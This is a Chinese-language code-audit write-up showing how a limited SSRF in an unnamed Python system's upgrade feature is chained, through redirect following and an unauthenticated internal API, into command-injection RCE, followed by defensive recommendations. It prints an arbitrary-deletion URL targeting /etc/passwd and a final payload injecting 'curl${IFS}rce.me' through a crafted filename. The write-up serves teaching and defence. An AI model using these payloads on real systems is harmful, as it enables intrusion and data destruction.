记一次从鸡肋SSRF到RCE的代码审计过程
字数 1078 2025-08-05 08:19:04

从SSRF到RCE的代码审计与利用教学文档

0x01 漏洞背景与初始发现

漏洞环境

  • 目标系统:某Python开发的系统
  • 功能点:系统升级功能允许配置自定义站点
  • 触发方式:点击升级按钮后向特定路由发送文件

初始SSRF漏洞

  • 类型:POST型SSRF
  • 限制:
    • 路由不可控(固定)
    • 参数不可控(固定)
  • 利用点:
    • _update参数从用户自定义配置中获取
    • 与固定route变量拼接形成最终URL
    • 使用Python的requests模块发送请求

SSRF升级技巧

利用requests模块特性:

  • 默认跟随30X状态码跳转
  • 可将POST型不可控SSRF转为GET型可控SSRF

0x02 系统架构分析与攻击面扩展

系统分层架构

应用层(有鉴权)
  ↓
服务层(无鉴权,通过API调用)

攻击思路

  1. 利用SSRF攻击本地服务层API
  2. 寻找服务层GET型路由漏洞
  3. 结合多个漏洞点实现RCE

发现的服务层漏洞点

  • 路由:/api/doc
  • 参数:doc_file_path可控
  • 漏洞模式:
    cmd = 'rm -f ' + doc_file_path  # 命令拼接
    

前置条件分析

  • 需要目标文件存在
  • 文件上传功能分析:
    • 使用mkstemp创建临时文件
    • 特点:
      • 文件名随机
      • 不会自动删除
      • 后缀可控
    • 限制:文件名不可控

初始利用方式

  • 任意文件删除:
    http://127.0.0.1:8848/api/doc?doc_file_path=/etc/passwd
    

0x03 突破限制实现RCE

关键发现

找到另一处文件上传功能:

  • 参数:file_pre(源文件名)可控
  • 文件命名规则:
    {file_pre}_{timestamp}.txt
    
  • 存储路径已知

利用条件

  1. 文件名中可插入特殊字符(如;
  2. 可预测/获取完整文件路径
  3. 系统允许在文件名中使用命令分隔符

命令注入技巧

  • 使用分号;分隔命令
  • 空格绕过:${IFS}
  • 注意:${;都是Unix系统允许的文件名字符

0x04 完整利用链构建

漏洞链

不可控POST型SSRF
  ↓
利用30X跳转转为可控GET型SSRF
  ↓
攻击无鉴权的服务层API
  ↓
结合可控文件名的上传功能
  ↓
实现命令注入RCE

最终Payload构造

http://127.0.0.1:8848/api/doc?doc_file_path=/opt/work/files/target_file/admin/;curl${IFS}rce.me;_1623123227304.txt

攻击步骤

  1. 配置恶意升级URL(指向301跳转)
  2. 跳转目标为上述Payload URL
  3. 用户点击升级按钮触发漏洞

0x05 防御建议

针对SSRF

  1. 禁用不必要的URL跳转
  2. requests请求设置allow_redirects=False
  3. 限制可访问的URL范围(白名单)

针对命令注入

  1. 避免直接拼接用户输入到命令中
  2. 使用subprocess的安全调用方式
  3. 对文件名进行严格过滤

系统架构安全

  1. 服务层API应增加鉴权
  2. 最小权限原则运行服务
  3. 关键操作增加审计日志

0x06 总结

本案例展示了如何通过深入代码审计,将看似鸡肋的SSRF漏洞与其他漏洞结合,最终实现RCE的过程。关键在于:

  1. 理解系统架构和组件交互方式
  2. 利用中间件特性(如requests的跳转)
  3. 寻找多个漏洞点的串联可能性
  4. 突破看似不可控的限制条件
从SSRF到RCE的代码审计与利用教学文档 0x01 漏洞背景与初始发现 漏洞环境 目标系统:某Python开发的系统 功能点:系统升级功能允许配置自定义站点 触发方式:点击升级按钮后向特定路由发送文件 初始SSRF漏洞 类型:POST型SSRF 限制: 路由不可控(固定) 参数不可控(固定) 利用点: _update 参数从用户自定义配置中获取 与固定 route 变量拼接形成最终URL 使用Python的 requests 模块发送请求 SSRF升级技巧 利用 requests 模块特性: 默认跟随30X状态码跳转 可将POST型不可控SSRF转为GET型可控SSRF 0x02 系统架构分析与攻击面扩展 系统分层架构 攻击思路 利用SSRF攻击本地服务层API 寻找服务层GET型路由漏洞 结合多个漏洞点实现RCE 发现的服务层漏洞点 路由: /api/doc 参数: doc_file_path 可控 漏洞模式: 前置条件分析 需要目标文件存在 文件上传功能分析: 使用 mkstemp 创建临时文件 特点: 文件名随机 不会自动删除 后缀可控 限制:文件名不可控 初始利用方式 任意文件删除: 0x03 突破限制实现RCE 关键发现 找到另一处文件上传功能: 参数: file_pre (源文件名)可控 文件命名规则: 存储路径已知 利用条件 文件名中可插入特殊字符(如 ; ) 可预测/获取完整文件路径 系统允许在文件名中使用命令分隔符 命令注入技巧 使用分号 ; 分隔命令 空格绕过: ${IFS} 注意: ${ 和 ; 都是Unix系统允许的文件名字符 0x04 完整利用链构建 漏洞链 最终Payload构造 攻击步骤 配置恶意升级URL(指向301跳转) 跳转目标为上述Payload URL 用户点击升级按钮触发漏洞 0x05 防御建议 针对SSRF 禁用不必要的URL跳转 对 requests 请求设置 allow_redirects=False 限制可访问的URL范围(白名单) 针对命令注入 避免直接拼接用户输入到命令中 使用 subprocess 的安全调用方式 对文件名进行严格过滤 系统架构安全 服务层API应增加鉴权 最小权限原则运行服务 关键操作增加审计日志 0x06 总结 本案例展示了如何通过深入代码审计,将看似鸡肋的SSRF漏洞与其他漏洞结合,最终实现RCE的过程。关键在于: 理解系统架构和组件交互方式 利用中间件特性(如requests的跳转) 寻找多个漏洞点的串联可能性 突破看似不可控的限制条件